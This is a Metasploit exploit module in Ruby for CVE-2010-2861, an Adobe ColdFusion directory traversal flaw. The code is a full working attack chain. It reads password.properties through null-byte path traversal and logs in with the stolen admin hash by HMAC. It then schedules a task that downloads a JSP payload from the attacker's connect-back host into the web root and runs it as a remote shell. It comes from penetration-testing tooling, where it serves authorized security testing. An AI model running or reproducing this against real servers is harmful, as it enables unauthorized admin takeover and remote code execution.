## # $Id: coldfusion_traversal.rb 11986 2011-03-16 10:15:54Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe ColdFusion - Directory Traversal', 'Description' => %q{ This module exploits a directory traversal bug in Adobe ColdFusion. By reading the password.properties a user can login using the encrypted password itself. This should work on version 8 and below. }, 'License' => MSF_LICENSE, 'Author' => [ 'webDEViL' ], 'Version' => '$Revision: 11986 $', 'References' => [ [ 'CVE', '2010-2861' ], [ 'OSVDB', '67047' ], [ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ], ], 'Privileged' => true, 'Platform' => ['linux','windows'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Universal', { 'Arch' => ARCH_JAVA, 'Payload' => 'java' } ], ], 'DisclosureDate' => 'Aug 25 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']), OptString.new('URL', [ true, 'Administrator Directory', '/CFIDE/administrator/' ]), OptString.new('CBIP', [ true, 'Connect Back IP (even when not using reverse shell)', nil ]), OptString.new('TRAV', [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]), ], self.class) end def exploit ip = datastore['RHOST'] url = datastore['URL']+"enter.cfm" locale = "?locale=" trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en" datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp" datastore['URIPATH'] = rand_text_alphanumeric(6) print_status("Trying to acheive Directory Traversal...") while trav.match(/..\//im) res = send_request_raw({ 'uri' => url+locale+trav, 'method' => 'GET', 'headers' => { 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }, }, -1) if (res.nil?) print_error("no response for #{ip}:#{rport} #{url}") elsif (res.code == 200) #print_error("#{res.body}")#debug if match = res.body.match(/([0-9A-F]{40})/im); caphash = $1 print_status("URL: #{ip}#{url}?locale=#{trav}") print_status("Admin Hash: " + caphash) break else #select(nil, nil, nil, 3) trav=trav[3..-1] print_status("Trav:"+trav) end else '' end end if caphash.nil? print_error("Could not determine location of password.properties file, Set TRAV option manually") print_error("OR ColdFusion is not vulnerable") return end keyz = Time.now.to_i.to_s+"123" print_status("Time: "+ keyz) loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase print_status("Login Hash: "+loghash) params = 'cfadminPassword='+loghash params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&' params << 'salt='+keyz params << '&submit=Login' res = send_request_cgi({ 'method' => 'POST', 'uri' => url, 'data' => params }) if (res) #print_status("Me want Cookie: "+ res.headers['Set-Cookie']) if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);) session = $1 print_status("Cookie: #{session}") else print_error("Error retrieving cookie!") end else print_error("No response received while logging in.") end print_status("Attempting to automatically detect the platform...") ##AUTO_DETECT START path = datastore['URL'] + 'settings/mappings.cfm' res = send_request_raw( { 'uri' => path, 'headers' => { 'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}" } }, 20) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end if (res.body.match(/.*td *>(.*CFIDE )/im);) os = $1 os.match(/]*?>(.*) /im); os1 =$1 os1 = os1.gsub("\t", '') os1 = os1.gsub("\r\n", '') if (os1 =~ /:/i) #haha ;) print_status('OS: Windows') datastore['SHELL'] = 'cmd.exe' os1=os1+"\\" else #(os1 =~ /\//i) print_status('OS: Linux') datastore['SHELL'] = '/bin/sh' os1=os1+"/" end print_status("Web Directory:"+os1) end ##AUTO_DETECT END res = send_request_raw( { 'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm?submit=Schedule+New+Task", 'method' => 'GET', 'headers' => { 'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}", } }, 25) if (res.body.match(//im);) start_time = $1 end if (res.body.match(//im);) start_date = $1 end #else FAIL! comb = start_date + start_time fmt = "%b %d, %Y%I:%M %p" comb = ((DateTime.strptime(comb,fmt)).advance :minutes =>-19) t = comb.strftime("%b %d, %Y") t1 = comb.strftime("%I:%M %p") #t=(Time.now).strftime("%b %d, %Y") #can't use local time #t1=(Time.now + 5).strftime("%I:%M:%S %p") params = 'TaskName=wD-'+rand_text_alphanumeric(6) params << "&Start_Date=#{t}" #Mar+12%2C+2011 params << '&End_Date=&ScheduleType=Once' params << "&StartTimeOnce=#{t1}" #6%3A40+PM params << ' &Interval=Daily&StartTimeDWM=&customInterval_hour=0&customInterval_min=0&customInterval_sec=0&CustomStartTime=&CustomEndTime=&Operation=HTTPRequest' params << '&ScheduledURL=http%3A%2F%2F'+datastore['CBIP']+":"+datastore['SRVPORT']+"/"+datastore['URIPATH'] params << '&Username=&Password=&Request_Time_out=&proxy_server=&http_proxy_port=&publish=1' params << '&publish_file='+os1+datastore['JSP'] params << '&adminsubmit=Submit&taskNameOrig=' res = send_request_raw( { 'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm", 'method' => 'POST', 'data' => params, 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Length' => params.length, 'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}", } }, 25) #print_error("#{res.body}") super end def on_request_uri(cli, request) p = regenerate_payload(cli) #print_status("SHELL set to #{datastore['SHELL']}") #print_status((p.encoded).to_s) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, p.encoded, { 'Content-Type' => 'text/html' }) res = send_request_raw( { 'uri' => "/CFIDE/"+datastore['JSP'], 'method' => 'GET', }, 25) # Handle the payload handler(cli) end end